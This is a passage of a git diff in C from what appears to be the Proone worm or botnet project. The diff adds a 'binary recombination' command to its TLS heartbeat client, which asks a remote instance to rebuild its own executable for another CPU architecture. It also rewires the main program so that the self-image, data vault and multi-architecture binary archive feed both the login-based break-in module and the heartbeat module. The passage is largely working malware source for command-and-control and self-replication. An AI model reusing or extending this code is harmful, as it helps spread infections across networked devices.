+ fprintf(stderr, "Cannot write binary data to terminal.\n");
+ goto END;
+ }
+ if (!do_connect()) {
+ ret = 1;
+ goto END;
+ }
+ mh.id = msgid;
+ mh.op = PRNE_HTBT_OP_RCB;
+ if (!(send_mh(&mh) &&
+ send_frame(
+ &prog_conf.cmd_param.rcb.rcb,
+ (prne_htbt_ser_ft)prne_htbt_ser_rcb)))
+ {
+ ret = 1;
+ goto END;
+ }
+
+ do {
+ if (!recv_mh(&mh, &msgid)) {
+ ret = 1;
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_STDIO: break;
+ case PRNE_HTBT_OP_STATUS:
+ if (!recv_status(&st)) {
+ ret = 1;
+ goto END;
+ }
+ start_yaml(STDERR_FILENO, false);
+ emit_preemble("rcb", "status", emit_rcb_opts);
+ emit_status_frame(&st);
+ goto END;
+ default:
+ ret = 1;
+ raise_invalid_op(mh.op);
+ goto END;
+ }
+
+ if (!recv_frame(&df, (prne_htbt_dser_ft)prne_htbt_dser_stdio)) {
+ ret = 1;
+ goto END;
+ }
+ while (df.len > 0) {
+ io_ret = mbedtls_ssl_read(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.rcb.ib.m,
+ df.len);
+ if (io_ret == 0) {
+ ret = 1;
+ raise_proto_err("remote end shutdown write");
+ goto END;
+ }
+ if (io_ret < 0) {
+ ret = 1;
+ prne_mbedtls_perror(io_ret, "mbedtls_ssl_read()");
+ goto END;
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.rcb.ib, io_ret);
+ df.len -= io_ret;
+ sum += io_ret;
+
+ while (prog_g.cmd_st.rcb.ib.len > 0) {
+ io_ret = write(
+ prog_g.cmd_st.rcb.fd,
+ prog_g.cmd_st.rcb.ib.m,
+ prog_g.cmd_st.rcb.ib.len);
+ if (io_ret < 0) {
+ ret = 1;
+ perror("write()");
+ goto END;
+ }
+ if (io_ret == 0) {
+ ret = 1;
+ fprintf(stderr, "write() EOF\n");
+ goto END;
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.rcb.ib, -io_ret);
+ }
+ }
+ } while (!df.fin);
+ start_yaml(STDERR_FILENO, false);
+ emit_preemble("rcb", "ok", emit_rcb_opts);
+ emit_scalar(YAML_STR_TAG, BODY_TAG_NAME);
+ emit_mapping_start();
+ emit_scalar(YAML_STR_TAG, "size");
+ emit_scalar_fmt(YAML_INT_TAG, "%zu", sum);
+ emit_mapping_end();
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_status(&st);
+ prne_htbt_free_stdio(&df);
+ if (ret != 0 && prog_g.cmd_st.rcb.our_file) {
+ unlink(prog_conf.cmd_param.rcb.out_path);
+ }
+ return ret;
+}
+
int main (const int argc, char *const *args) {
int ec = 0;
@@ -2320,7 +2619,7 @@ int main (const int argc, char *const *args) {
case SC_RUNCMD:
case SC_RUNBIN: ec = cmdmain_run(); break;
case SC_UPBIN: ec = cmdmain_upbin(); break;
- // TODO
+ case SC_RCB: ec = cmdmain_rcb(); break;
default:
ec = 1;
fprintf(stderr, "COMMAND not implemented.\n");
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index c3f9934..4c7caaa 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -545,7 +545,7 @@ static void test_enum (void) {
assert(i == prne_arch_fstr(prne_arch_tostr(i)));
}
- for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) {
+ for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
assert(prne_arch_tostr(i) != NULL);
}
for (prne_htbt_ser_rc_t i = 0; i < NB_PRNE_HTBT_SER_RC; i += 1) {
diff --git a/src/proone.c b/src/proone.c
index 5fcd706..4429204 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -226,6 +226,7 @@ static void alloc_htbt (void) {
param.cb_f.hostinfo = cb_htbt_hostinfo;
param.cb_f.tmpfile = cb_htbt_tmpfile;
param.cb_f.upbin = cb_htbt_upbin;
+ param.rcb = &prne_g.rcb_param;
param.blackhole = prne_g.blackhole[1];
htbt = prne_alloc_htbt(
@@ -665,8 +666,8 @@ static void set_env (void) {
}
static void setup_dvault (void) {
- prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.dvault_size);
- memcpy(prne_g.m_dvault, prne_g.m_exec_dvault, prne_g.dvault_size);
+ prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.rcb_param.dv_len);
+ memcpy(prne_g.m_dvault, prne_g.rcb_param.m_dv, prne_g.rcb_param.dv_len);
prne_init_dvault(prne_g.m_dvault);
}
@@ -699,7 +700,7 @@ static void init_proone (const char *self) {
prne_assert(fd >= 0);
file_size = lseek(fd, 0, SEEK_END);
prne_assert(file_size >= (off_t)sizeof(ELF_EHDR_TYPE));
- prne_g.m_exec = (const uint8_t*)mmap(
+ prne_g.rcb_param.m_self = (const uint8_t*)mmap(
NULL,
file_size,
PROT_READ,
@@ -707,10 +708,10 @@ static void init_proone (const char *self) {
fd,
0);
prne_close(fd);
- prne_assert(prne_g.m_exec != MAP_FAILED);
+ prne_assert(prne_g.rcb_param.m_self != MAP_FAILED);
// Use header
- elf = (ELF_EHDR_TYPE*)prne_g.m_exec;
+ elf = (ELF_EHDR_TYPE*)prne_g.rcb_param.m_self;
prne_assert(
elf->e_ident[EI_MAG0] == ELFMAG0 &&
elf->e_ident[EI_MAG1] == ELFMAG1 &&
@@ -719,32 +720,36 @@ static void init_proone (const char *self) {
prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS);
prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA);
- prne_g.self_size = (size_t)file_size;
- prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum);
- prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT);
+ prne_g.rcb_param.self_len = (size_t)file_size;
+ prne_g.rcb_param.exec_len =
+ elf->e_shoff +
+ (elf->e_shentsize * elf->e_shnum);
+ prne_g.rcb_param.exec_len = prne_salign_next(
+ prne_g.rcb_param.exec_len,
+ PRNE_BIN_ALIGNMENT);
prne_massert(
- prne_g.exec_size + 8 <= (size_t)file_size,
+ prne_g.rcb_param.exec_len + 8 <= (size_t)file_size,
"No appendix!");
// Read sizes
- prne_g.dvault_size =
- (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 |
- (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0;
+ prne_g.rcb_param.dv_len =
+ (uint_fast16_t)prne_g.rcb_param.m_self[prne_g.rcb_param.exec_len + 0] << 8 |
+ (uint_fast16_t)prne_g.rcb_param.m_self[prne_g.rcb_param.exec_len + 1] << 0;
- dvault_ofs = prne_g.exec_size + 8;
+ dvault_ofs = prne_g.rcb_param.exec_len + 8;
binarch_ofs = dvault_ofs + prne_salign_next(
- prne_g.dvault_size,
+ prne_g.rcb_param.dv_len,
PRNE_BIN_ALIGNMENT);
binarch_size = file_size - binarch_ofs;
// Load dvault
- prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size);
- prne_g.m_exec_dvault = prne_g.m_exec + dvault_ofs;
+ prne_assert(dvault_ofs + prne_g.rcb_param.dv_len <= (size_t)file_size);
+ prne_g.rcb_param.m_dv = prne_g.rcb_param.m_self + dvault_ofs;
setup_dvault();
if (binarch_size > 0) {
prne_index_bin_archive(
- prne_g.m_exec + binarch_ofs,
+ prne_g.rcb_param.m_self + binarch_ofs,
binarch_size,
&prne_g.bin_archive);
}
@@ -1242,14 +1247,7 @@ static void init_bne (void) {
bne_param.cb.enter_dd = bne_cb_enter_dd;
bne_param.cb.exit_dd = bne_cb_exit_dd;
- bne_param.rcb.m_self = prne_g.m_exec;
- bne_param.rcb.self_len = prne_g.self_size;
- bne_param.rcb.exec_len = prne_g.exec_size;
- bne_param.rcb.m_dv = prne_g.m_exec_dvault;
- bne_param.rcb.dv_len = prne_g.dvault_size;
- bne_param.rcb.ba = &prne_g.bin_archive;
- bne_param.rcb.self = prne_host_arch;
-
+ bne_param.rcb = &prne_g.rcb_param;
bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT;
}
@@ -1287,6 +1285,9 @@ int main (const int argc, const char **args) {
prne_g.blackhole[0] = -1;
prne_g.blackhole[1] = -1;
prne_g.shm_fd = -1;
+ prne_init_rcb_param(&prne_g.rcb_param);
+ prne_g.rcb_param.ba = &prne_g.bin_archive;
+ prne_g.rcb_param.self = prne_host_arch;
prne_init_bin_archive(&prne_g.bin_archive);
mbedtls_x509_crt_init(&prne_g.ssl.ca);
prne_mbedtls_entropy_init(&prne_g.ssl.entpy);
@@ -1430,6 +1431,7 @@ WAIT_LOOP:
END:
deinit_bne();
+ prne_free_rcb_param(&prne_g.rcb_param);
prne_free_bin_archive(&prne_g.bin_archive);
mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
diff --git a/src/proone.h b/src/proone.h
index 5b73185..a53ac9d 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -28,14 +28,10 @@ struct prne_global { // TODO: tidy init code when finalised
prne_resolv_t *resolv;
pid_t parent_pid;
pid_t child_pid;
- uint8_t *m_dvault;
- const uint8_t *m_exec;
- size_t exec_size;
- size_t self_size;
- const uint8_t *m_exec_dvault;
int blackhole[2];
int shm_fd;
- uint16_t dvault_size;
+ prne_rcb_param_t rcb_param;
+ uint8_t *m_dvault;
bool is_child;
prne_bin_archive_t bin_archive;
diff --git a/src/protocol.c b/src/protocol.c
index 143e906..e01b92c 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -42,6 +42,7 @@ const char *prne_arch_tostr (const prne_arch_t x) {
return "arceb";
}
+ errno = EINVAL;
return NULL;
}
@@ -52,6 +53,7 @@ prne_arch_t prne_arch_fstr (const char *str) {
}
}
+ errno = EINVAL;
return PRNE_ARCH_NONE;
}
@@ -125,6 +127,7 @@ const char *prne_htbt_op_tostr (const prne_htbt_op_t x) {
case PRNE_HTBT_OP_STDIO: return "stdio";
case PRNE_HTBT_OP_RCB: return "rcb";
}
+ errno = EINVAL;
return NULL;
}
@@ -523,6 +526,17 @@ bool prne_htbt_eq_stdio (
a->fin == b->fin;
}
+void prne_htbt_init_rcb (prne_htbt_rcb_t *r) {
+ r->arch = PRNE_ARCH_NONE;
+ r->compat = false;
+}
+
+void prne_htbt_free_rcb (prne_htbt_rcb_t *r) {}
+
+bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b) {
+ return a->arch == b->arch && a->compat == b->compat;
+}
+
prne_htbt_ser_rc_t prne_htbt_ser_msg_head (
uint8_t *mem,
const size_t mem_len,
@@ -738,6 +752,22 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio (
return PRNE_HTBT_SER_RC_OK;
}
+prne_htbt_ser_rc_t prne_htbt_ser_rcb (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_rcb_t *in)
+{
+ *actual = 2;
+ if (mem_len < *actual) {
+ return PRNE_HTBT_SER_RC_MORE_BUF;
+ }
+
+ mem[0] = (uint8_t)in->arch;
+ mem[1] = (uint8_t)(in->compat ? 0x80 : 0x00);
+
+ return PRNE_HTBT_SER_RC_OK;
+}
prne_htbt_ser_rc_t prne_htbt_dser_msg_head (
const uint8_t *data,
@@ -989,6 +1019,23 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio (
return PRNE_HTBT_SER_RC_OK;
}
+prne_htbt_ser_rc_t prne_htbt_dser_rcb (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_rcb_t *out)
+{
+ *actual = 2;
+ if (len < *actual) {
+ return PRNE_HTBT_SER_RC_MORE_BUF;
+ }
+
+ out->arch = (prne_arch_t)data[0];
+ out->compat = (data[1] & 0x80) != 0;
+
+ return PRNE_HTBT_SER_RC_OK;
+}
+
char **prne_htbt_parse_args (
char *m_args,
const size_t args_size,
@@ -1056,5 +1103,6 @@ const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x) {
case PRNE_HTBT_SER_RC_ERRNO: return "errno";
case PRNE_HTBT_SER_RC_FMT_ERR: return "format error";
}
+ errno = EINVAL;
return NULL;
}
diff --git a/src/protocol.h b/src/protocol.h
index 4e12396..e5003d7 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -22,9 +22,10 @@ typedef struct prne_htbt_cmd prne_htbt_cmd_t;
typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t;
typedef struct prne_htbt_hover prne_htbt_hover_t;
typedef struct prne_htbt_stdio prne_htbt_stdio_t;
+typedef struct prne_htbt_rcb prne_htbt_rcb_t;
typedef enum {
- PRNE_ARCH_NONE = -1,
+ PRNE_ARCH_NONE,
PRNE_ARCH_I686,
PRNE_ARCH_X86_64,
@@ -41,7 +42,7 @@ typedef enum {
NB_PRNE_ARCH
} prne_arch_t;
-PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF);
+PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE);
typedef enum {
PRNE_IPV_NONE,
@@ -174,7 +175,7 @@ typedef enum {
/* Binary Recombination Operation
* TODO
*
- * uint8_t arch
+ * uint8_t arch : "self" assumed if PRNE_ARCH_NONE
* uint1_t compat : allow fallback to compatible arch
* uint7_t rsv
*/
@@ -269,6 +270,11 @@ struct prne_htbt_stdio {
bool fin;
};
+struct prne_htbt_rcb {
+ prne_arch_t arch;
+ bool compat;
+};
+
typedef void(*prne_htbt_init_ft)(void *ptr);
typedef void(*prne_htbt_free_ft)(void *ptr);
typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b);
@@ -398,6 +404,10 @@ bool prne_htbt_eq_stdio (
const prne_htbt_stdio_t *a,
const prne_htbt_stdio_t *b);
+void prne_htbt_init_rcb (prne_htbt_rcb_t *r);
+void prne_htbt_free_rcb (prne_htbt_rcb_t *r);
+bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b);
+
prne_htbt_ser_rc_t prne_htbt_ser_msg_head (
uint8_t *mem,
const size_t mem_len,
@@ -433,6 +443,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio (
const size_t mem_len,
size_t *actual,
const prne_htbt_stdio_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_rcb (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_rcb_t *in);
prne_htbt_ser_rc_t prne_htbt_dser_msg_head (
const uint8_t *data,
@@ -469,6 +484,11 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio (
const size_t len,
size_t *actual,
prne_htbt_stdio_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_rcb (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_rcb_t *out);
char **prne_htbt_parse_args (
char *m_args,
diff --git a/src/resolv.c b/src/resolv.c
index 817c9f8..b7f00e7 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -1609,6 +1609,7 @@ const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) {
case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT";
case PRNE_RESOLV_QR_STATUS: return "STATUS";
}
+ errno = EINVAL;
return NULL;
}
@@ -1621,6 +1622,7 @@ const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) {
case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP";
case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED";
}
+ errno = EINVAL;
return NULL;
}
@@ -1635,5 +1637,6 @@ const char *prne_resolv_rrtype_tostr (const uint16_t rrt) {
case PRNE_RESOLV_RTYPE_TXT: return "TXT";
case PRNE_RESOLV_RTYPE_AAAA: return "AAAA";
}
+ errno = EINVAL;
return NULL;
}